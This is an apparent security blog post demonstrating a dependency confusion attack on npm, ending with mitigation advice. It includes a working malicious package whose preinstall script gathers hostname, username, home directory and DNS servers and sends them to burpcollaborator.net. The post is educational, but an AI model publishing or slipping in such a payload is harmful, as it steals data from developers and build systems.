Dependency Confusion Attack on NPM: An End-to-End POC
Table of contents
The inspiring source here gave me creative inspiration for this blog. Dependency Confusion was initially disclosed by Alex Birsan.
Introduction to Dependency Confusion Attack
When building a web application or app, utilizing existing code and libraries can make the process faster and easier. These pre-existing packages, obtained from package repositories, are available in two types: public and private. The latter is intended solely for your team's use. However, it's possible for a private package with the same name as a public one to exist, and your application may use the private version. Unfortunately, this creates an opportunity for a "Dependency Confusion Attack."
An attacker can create a fake version of your private package and upload it to the public repository, tricking your build configuration into using the fake package instead of the real one. This can be disastrous as the fake package may contain malicious code that can steal information or create reverse shells, and your application may be completely unaware of its origin. In summary, a Dependency Confusion Attack is a dangerous situation where your application is deceived into using a malicious package instead of the correct one, resulting in severe issues for your application and its users.
NPM and Package Dependencies
NPM, which stands for Node Package Manager, is like a digital library for programmers working with JavaScript, a popular programming language for web development.
Imagine you're building a puzzle. Instead of making all the puzzle pieces from scratch, you can grab some puzzle pieces that other people have already made. These puzzle pieces are like "packages," which are small bundles of code that do specific tasks.
NPM helps you manage these packages. When building your project, you often need different packages to help you do different things. NPM keeps track of which packages your project needs and ensures they all work together nicely.
Think of it as a shopping list for your project. You write down the names of the packages you want, and NPM goes and fetches them for you. But here's the clever part: these packages can also depend on other packages. It's like one puzzle piece needs another puzzle piece to work.
NPM makes sure that when you get a package, you also get all the puzzle pieces that the package needs. It's like getting a complete set of instructions along with each puzzle piece so they can fit together perfectly.
So, in simple terms, NPM helps programmers use and manage ready-made pieces of code (packages) to build their projects. It takes care of getting all the right pieces and ensuring they fit together smoothly.
Dependency Confusion Attack Workflow
We will now do a POC of end-to-end dependent confusion attack workflow. Let us take an example of an app called "Project Storm" developed internally. Here is the package manifest.
{
"name": "Project Storm",
"version": "1.0.0",
"description": "Internal node app",
"main": "app.js",
"scripts": {
"start": "node app.js",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Team alpha",
"license": "ISC",
"dependencies": {
"express":"^4.16.2",
"ejs":"latest",
"stormapp":"^1.0.0"
}
}
This code is located in the package.json
, and it also shows the dependencies of this project. As you can see, "stormapp" is
a dependent package and only published internally on the private package.
Set up a private npm registry
To make things easier, we will use Verdaccio - an excellent open-source tool that will help us set up our own internal private npm registry and proxy server. If you already have Docker installed, getting started is a piece of cake! Just follow these simple steps:
docker run -it --rm --name verdaccio -p 4873:4873 verdaccio/verdaccio\
You now have your dedicated private hosting of npm packages running locally at port 4873.
Let’s go ahead with publishing our internal npm package stormapp
. We will start first by adding a user to this new Verdaccio private registry:
Let us create the stormapp npm package and publish the stormapp package
npm init
Let's also create a sample index.js file and keep it in the same folder where package.json is present.
function greetUser(userName) {
return `Hello ${userName}! Welcome to our package!`;
}
module.exports = greetUser;
Let’s go ahead with publishing it to our private npm registry.
npm login --registry http://localhost:4873/
npm publish --registry http://localhost:4873
Scenario 1: Private npm registry misconfiguration
When a developer or a continuous integration (CI) system clones the source code of "Project Storm" — which has the internal stormapp dependency — how does it obtain this dependency?
It likely needs to satisfy the following criteria when an npm install command is invoked:
It needs the URL of the private npm registry where this internal package exists.
It needs a token or credentials of some sort to access that private registry.
The very first step outlined above is where things can go wrong. To specify a particular private npm registry, one needs to provide configuration information for the npm package manager explicitly.
Now let’s revisit some scenarios:
What happens if the continuous integration system doesn’t have the private registry set?
What happens if you are a new developer onboarding to an existing project and you did not undergo prior steps, such as running the command
npm config set registry
?What happens if you mistakenly remove or change your
.npmrc
configuration not to include the internal private npm registry?
In any of these cases, where the custom setting for an internal registry was omitted, the npm package manager will default to the public registry (registry.npmjs.org) and will download packages from that.
Anyone can publish packages on the public npm registry, and so, if a malicious user were to publish a package named stormapp
, then it would’ve been downloaded and installed instead of your own internal package.
Let us create a malicious version of the stormapp package and upload it to the public npm registry.
Create package.json file
{
"name": "stormapp",
"version": "1.0.0",
"description": "Internal App",
"main": "index.js",
"scripts": {
"test": "echo \\\"Error: no test specified\\\" && exit 1",
"preinstall": "node index.js"
},
"author": "Internal App",
"license": "ISC"
}
Now create the index.js file as shown below and add interactsh link. The payload has been taken from here https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
Publish the malicious package to the public npm registry
npm publish
Now, Let us install "Project Storm", assuming one of the three conditions is fulfilled
What happens if the continuous integration system doesn’t have the private registry set?
What happens if you are a new developer onboarding to an existing project and you did not undergo prior steps, such as running the command
npm config set registry
?What happens if you mistakenly remove or change your
.npmrc
configuration not to include the internal private npm registry?Now whenever someone runs
npm install ,
or the Internal Builds has pulled the stormapp package, it will install our package instead and run thepreinstall
scriptpackage.json file preinstall scripts will execute the index.js file and get the hostname, directory, ipaddress, username as shown below.
How to protect against npm dependency confusion
It's vital to ensure that a proper private npm proxy configuration is in place. If it's not set up correctly by a developer or CI system, it could potentially put you in a vulnerable position.
So the first step is: Always to ensure that a .npmrc
file is made available or another form of the private npm proxy configuration.
Secondly, you can take a proactive approach that detects cases in which you are using private packages with their namespace unreserved on the public npmjs registry.
You can use visma-prodec/confused to check for dependency confusion vulnerabilities in multiple package management systems.
Scenario 2: Private npm registry fetches the latest versions
What happens if there’s a package of the same name as ours (stormapp
) that is published and available in the public npm registry but has a higher semver version?
To illustrate, the situation is as follows:
stormapp@1.0.0
exists in a private npm registry https://localhost:4783stormapp@1.99.999
Published by an anonymous user to the public npm registry at https://www.npmjs.com/package/stormapp
Now the question is, what happens if a new project is scaffolded and requests to install the stormapp
package? There’s no package.json
yet, and there’s no lock file yet (package-lock.json
). A developer starts with:
npm install superlaser
This install potentially ends with a malicious version of stormapp
which a remote attacker controls. But why? The developer has the local npm registry configured.
As testing shows, even if an internal npm private proxy is configured, it has been observed that the behaviour of many of these proxies is first to check the newest version available in the npm public registry. If such a newer version exists, these proxies fetch the newest semver version of the package from the public registry and install that.
How to protect against fetching the wrong package
Configure your private npm proxy to never proxy requests upstream to the public registries. If a package or version is unavailable locally, it should be resolved so that it doesn’t blindly fetch packages from untrusted and unvetted sources.
Scenario 3: Manual package updates may introduce malicious versions
In this scenario, you are manually updating your npm packages by running npm update
or npm install <packages>@latest
to bring your dependencies versions up to date.
When you invoke these update procedures, the same behaviour we witnessed before also occurs here. The npm update
command asks the private npm proxy to fetch the latest version, which in turn, the proxy checks for the most up-to-date version on the public npm registry.
Note, if you’re a yarn user, then issuing a yarn upgrade
will yield the same result as pulling in the potentially malicious packages from the public npmjs registry.
Even if you do have a .npmrc
file, which defines the local registry a. Yet, if you run npm update
to bring all the dependencies up to date, you might see it pulls in the latest semver matching version from the public npmjs registry.
How to protect against it?
Instead of manual and blind npm package updates, opt-in for automated package updates in the form of pull requests raised to your open-source project repositories, which will also take care of syncing the package manifest (such as package-lock.json
or yarn.lock
).
The recent prevalence of dependency confusion attacks has highlighted the potential pitfalls of trust in application and program development. Many developers rely on pre-existing code packages from online sources, assuming they are secure. However, malicious actors have found ways to exploit this trust by introducing harmful versions of these packages using deceptive tactics.
References
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
https://snyk.io/blog/detect-prevent-dependency-confusion-attacks-npm-supply-chain-security/
https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/
https://0xsapra.github.io/website//Exploiting-Dependency-Confusion
Subscribe to my newsletter
Read articles from Avishek Sarkar directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Avishek Sarkar
Avishek Sarkar
Hi, I'm your friendly cybersec guy, passionate about identifying vulnerabilities in software and helping organizations improve their security posture. Throughout my career, I have always been learning new security testing/pen-testing methodologies, tools, and techniques. As a result, I stay up-to-date with the latest industry trends and best practices. Thanks for visiting my profile, and feel free to connect with me to discuss anything securely!